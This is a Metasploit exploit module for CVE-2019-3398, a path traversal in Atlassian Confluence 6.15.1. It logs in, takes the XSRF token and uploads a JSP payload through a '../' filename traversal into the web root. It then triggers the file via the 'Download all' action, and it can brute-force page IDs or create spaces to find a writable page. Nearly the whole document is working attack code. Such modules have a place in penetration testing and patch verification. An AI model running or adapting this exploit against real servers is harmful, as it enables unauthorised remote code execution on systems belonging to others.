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# Exploit Title: Atlassian Confluence 6.15.1 - Directory Traversal (Metasploit)  
# Google Dork: N/A  
# Date: 2019-11-11  
# Exploit Author: max7253  
# Vendor Homepage: https://www.atlassian.com  
# Software Link: https://www.atlassian.com/software/confluence/download-archives  
# Version: 6.15.1  
# Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, Linux 5.0.0-23-generic #24~18.04.1-Ubuntu  
# CVE : N/A  
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Confluence Arbitrary File Write via Path Traversal (CVE-2019-3398)",  
'Description' => %q{  
To use this exploit you should specify the following variables:  
USERNAME and PASSWORD - the login/password to log into the web interface of the Atlassian Confluence server.  
ROOTFOLDER - the root directory of the web server. If the root directory is located in C:\confluence\pages\, set this variable to ROOTFOLDER = 'confluence/pages/'.  
Typical ROOTFOLDER locations are:  
Windows: Program Files/Atlassian/Confluence/confluence/pages/  
Linux: opt/atlassian/confluence/confluence/pages/  
Note that the root directory of the web server and the temporary directory of the Atlassian Confluence server on Windows must be on the same drive (C:\ in the example above).  
PAGEID - the pageId URL parameter you see in the browser address bar when you vist the Atlassian Confluence page where you have rights to upload files.  
For example, https://server.net/pages/viewpageattachments.action?pageId=111111111&metadataLink=true.  
If PAGEID is set to 0, the script will try to create a new Page ID. If it fails, it will try to create a new space and create a Page ID there.  
If PAGEID is not specified, the script will walk though the PAGEID_RANGE_START..PAGEID_RANGE_END range.  
The script gets authenticated to the Atlassian Confluence server, retrieves the ATLASSIAN TOKEN from the server response, uploads the shellcode, then imitates the 'Download all' action to place the shellcode to the root directory of the web server.  
Tested on Atlassian v6.15.1. on Linux and Windows.  
Note that on Linux Confluence runs under the 'confluence' account which may not have rights to save files in the root directory of the web server. In this case the exploit will fail. Also, to create a new space and get the list of existing spaces the script makes use of Confluence REST API, which is available starting from Confluence Server 5.5.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Maxim Guslyaev' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2019-3398' ],  
[ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-04-17-968660855.html' ],  
[ 'URL', 'https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181'],  
[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2019-3398']  
],  
'Privileged' => false,  
'Platform' => %w{ linux win },  
'Targets' =>  
[  
[ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_JAVA }],  
[ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_JAVA }]  
],  
'DefaultOptions' =>  
{  
'RPORT' => 8090,  
'SSL' => false  
},  
'DisclosureDate' => 'Nov 9 2019',  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('USERNAME', [true, 'The login to log into the web interface of the Atlassian Confluence server', 'test']),   
OptString.new('PASSWORD', [true, 'The password to log into the web interface of the Atlassian Confluence server', 'test']),  
OptString.new('ROOTFOLDER', [true, 'The root folder of the Atlassian Confluence server', 'Program Files/Atlassian/Confluence/confluence/pages/']),  
#OptString.new('ROOTFOLDER', [true, 'The root folder of the Atlassian Confluence server', 'opt/atlassian/confluence/confluence/pages/']),  
OptString.new('FILENAME', [true, 'The JSP shellcode file name', 'covfefe.jsp']),  
OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),  
OptString.new('NEWSPACE', [false, 'A new space to be created', 'TESTSPACE432545645']),  
OptInt.new('PAGEID', [false, 'A Page ID to be used to upload shellcode', 0]),  
OptInt.new('PAGEID_RANGE_START', [false, 'The first Page ID to be used to enumerate a writable Page ID (used when PAGEID is not specified)', '1']),  
OptInt.new('PAGEID_RANGE_END', [false, 'The last Page ID to be used to enumerate a writable Page ID (used when PAGEID is not specified)', '999999999']),  
  
], self.class)  
end  
  
def do_authenticate  
print_status("Sending POST request to the web application (authentication)...")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s, '/dologin.action'),  
'method' => 'POST',  
'vars_post' => {  
'os_username' => datastore['USERNAME'],  
'os_password' => datastore['PASSWORD'],  
'os_destination' => '',  
'login' => 'Log+In'  
}  
})  
if res.nil?  
print_status("Unable to access the web application!")  
return 0  
end  
@sessid = get_sid(res)  
if @sessid.nil?  
print_status("Unable to retrieve session ID!")  
return 0  
end  
print_status("Getting Session ID from the web application... #{@sessid}")  
  
if res && res.redirect?  
location = res.redirection  
if location.nil?  
print_status("Unable to access the web application when redirected!")  
return 0  
end  
res = send_request_cgi!({  
'uri' => normalize_uri(target_uri.path.to_s, location.to_s),  
'method' => 'GET',  
'headers' => {  
'Cookie' => @sessid  
}  
}, redirect_depth = 5)  
end  
  
if res && res.code == 200  
if res.body =~ /re-enter\syour\slogin/ || res.body =~ /Sorry,\syour\susername\sand\/or\spassword\sare\sincorrect/ || res.body =~ /Unauthorized/  
print_status("Authentication failed...")  
return 0  
end  
  
@xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content']  
if @xsrf_token.nil? or @xsrf_token.blank?  
print_status("Failed to retrieve XSRF token...")  
return 0  
else  
print_status("Retrieving XSRF token... #{@xsrf_token}")  
return 1  
end  
else  
print_status("Unexpected response from the web application...")  
return 0  
end  
end  
  
def do_upload(_pageid)  
print_status("Sending POST request to the web application (shellcode upload)...")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s, '/plugins/drag-and-drop/upload.action'),  
'method' => 'POST',  
'vars_get' => {  
'pageId' => _pageid,  
'filename' => '../../../../../../../../../../' + datastore['ROOTFOLDER'] + datastore['FILENAME'],  
'size' => payload.encoded.length,  
'mimeType' => 'text/plain',  
'spaceKey' => 'isis',  
'atl_token' => @xsrf_token,  
'name' => datastore['FILENAME']  
},  
'data' => payload.encoded,  
'headers' => {  
'Connection' => 'close',  
'Accept' => '*/*',  
'Accept-Encoding' => 'identity',  
'Cookie' => @sessid,  
'Content-Length' => payload.encoded.length,  
'Content-Type' => 'text/plain'  
}  
})  
if res && res.code == 200 && res.body.scan(/actionErrors/).blank?  
print_status("Shellcode uploaded...")  
return 1  
else  
return 0  
end  
end  
  
def do_downloadall(_pageid)  
for downloadall_iter in 1..10  
print_status("Sending GET request to the web application (downloadall)...")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s, '/pages/downloadallattachments.action'),  
'method' => 'GET',  
'vars_get' => {  
'pageId' => _pageid  
},  
'headers' => {  
'Cookie' => @sessid  
}  
})  
  
print_status("Sending GET request to the web application (shellcode invokation)...")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s, '/pages/' + datastore['FILENAME']),  
'method' => 'GET',  
'headers' => {  
'Cookie' => @sessid  
}  
}, timeout = 10)  
  
if res && res.code == 200  
print_status("Shellcode found...")  
return 1  
else  
if downloadall_iter == 10  
print_status("Shellcode not found...")  
return 0  
end  
end  
end  
end  
  
def do_getspaces  
print_status("Sending GET request to the web application (getting available spaces)...")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s, '/rest/api/space'),  
'method' => 'GET',  
'headers' => {  
'User-Agent' => 'python-requests/2.20.0',  
'Cookie' => @sessid,  
'Accept' => '*/*',  
'Accept-Encoding' => 'identity',  
'Content-Type' => 'application/json'  
}  
})  
  
if res && res.code == 200 && res.body =~ /results/  
space_list = res.body.scan(/\"key\":\"(\w+)\"/).flatten  
else  
space_list = Array([])  
end  
return space_list  
end  
  
def do_createspace  
print_status("Sending POST request to the web application (creating a space)...")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s, '/rest/api/space'),  
'method' => 'POST',  
'data' => {  
"key": datastore['NEWSPACE'],  
"name": "Example space",  
"description": {  
"plain": {  
"value": "This is an example space",  
"representation": "plain"  
}  
},  
"metadata": {}  
}.to_json,  
'headers' => {  
'User-Agent' => 'python-requests/2.20.0',  
'Cookie' => @sessid,  
'Accept-Encoding' => 'identity',  
'Content-Type' => 'application/json'  
}  
})  
  
if res && res.code == 200 && res.body =~ /\"key\":\"\w+\"/  
print_status("Space created...")  
return res.body.scan(/\"key\":\"(\w+)\"/).flatten[0]  
else  
print_status("Space not created...")  
return 0  
end   
end  
  
def do_createpage(_space)  
print_status("Sending GET request to the web application (creating Page ID), space #{_space}...")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s, '/pages/createpage.action?spaceKey='+_space),  
'method' => 'GET',  
'headers' => {  
'Cookie' => @sessid  
}  
})  
if res && res.code == 200 && res.body =~ /ajs-draft-id/  
pageid = res.get_html_document.at('meta[@name="ajs-draft-id"]')['content']  
pageid_parsed = /(\d+)/.match(pageid)  
if pageid_parsed.nil?  
print_status("Unexpected Page ID format...")  
return 0  
else  
print_status("Page ID created... #{pageid}")  
datastore['PAGEID'] = pageid  
return 1  
end  
else  
return 0  
end  
end  
  
def get_sid(res)  
if res.nil?  
return ''  
end  
res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''  
end  
  
  
def exploit  
print_status("Getting authenticated to the web application...")  
if do_authenticate != 1  
fail_with(Failure::Unknown, 'Initial access or authentication error!')  
end  
  
unless datastore['PAGEID'].blank?  
if datastore['PAGEID'] == 0  
print_status("Creating Page ID...")  
spaces = do_getspaces  
for sp in spaces  
if do_createpage(sp) == 1  
print_status("Uploading shellcode...")  
if do_upload(datastore['PAGEID']) != 1  
print_status("Failed to upload shellcode...")  
next  
end   
print_status("Invoking shellcode...")  
if do_downloadall(datastore['PAGEID']) != 1  
print_status("Failed to invoke shellcode...")  
next  
else  
return  
end  
end  
end  
  
print_status("Trying to create a new space...")  
new_sp = do_createspace  
  
if new_sp != 0  
if do_createpage(new_sp) == 1  
print_status("Uploading shellcode...")  
if do_upload(datastore['PAGEID']) != 1  
fail_with(Failure::Unknown, 'Error while uploading shellcode!')  
end  
print_status("Invoking shellcode...")  
if do_downloadall(datastore['PAGEID']) != 1  
fail_with(Failure::Unknown, 'Error while invoking shellcode!')   
end  
  
return  
else  
fail_with(Failure::Unknown, 'Error while creating page in the newly created space!')  
end  
else  
fail_with(Failure::Unknown, 'Error while creating space!')  
end  
end   
  
print_status("Uploading shellcode...")  
if do_upload(datastore['PAGEID']) != 1  
fail_with(Failure::Unknown, 'Error while uploading shellcode!')  
end  
print_status("Invoking shellcode...")  
if do_downloadall(datastore['PAGEID']) != 1  
fail_with(Failure::Unknown, 'Error while invoking shellcode!')   
end  
else  
for id in datastore['PAGEID_RANGE_START']..datastore['PAGEID_RANGE_END']  
print_status("Trying Page Id #{id}")  
print_status("Uploading shellcode...")  
if do_upload(id) == 1  
print_status("Invoking shellcode...")  
if do_downloadall(id) == 1  
break  
end  
end  
end  
end  
  
end  
  
def check  
res = send_request_cgi!({  
'uri' => normalize_uri(target_uri.path.to_s, '/login.action?anon=1&logout=1'),  
'method' => 'GET',  
}, redirect_depth = 5)  
  
if res && res.body =~ /Powered\sby/  
ver = res.body.scan(/^.*Powered\sby\s.*(\d{1,}\.\d{1,}\.\d{1,}).*$/).flatten[0]  
print_status("The version of the web application is #{ver}")  
ver_parsed = /(\d+)\.(\d+)\.(\d+)/.match(ver.to_s)  
if ver_parsed.nil?  
print_status("The version of the web application couldn't be parsed")  
return Exploit::CheckCode::Detected  
end  
ver_oct1 = ver_parsed[1].to_i  
ver_oct2 = ver_parsed[2].to_i  
ver_oct3 = ver_parsed[3].to_i  
  
if ver_oct1.between?(2, 6) && ver_oct2.between?(0, 6) && ver_oct3.between?(0, 12) || ver_oct1.between?(6, 6) && ver_oct2.between?(7, 12) && ver_oct3.between?(0, 3) || ver_oct1.between?(6, 6) && ver_oct2.between?(13, 13) && ver_oct3.between?(0, 3) || ver_oct1.between?(6, 6) && ver_oct2.between?(14, 14) && ver_oct3.between?(0, 2) || ver_oct1.between?(6, 6) && ver_oct2.between?(15, 15) && ver_oct3.between?(0, 1)  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe   
end  
  
else  
return Exploit::CheckCode::Unknown  
end  
end  
  
end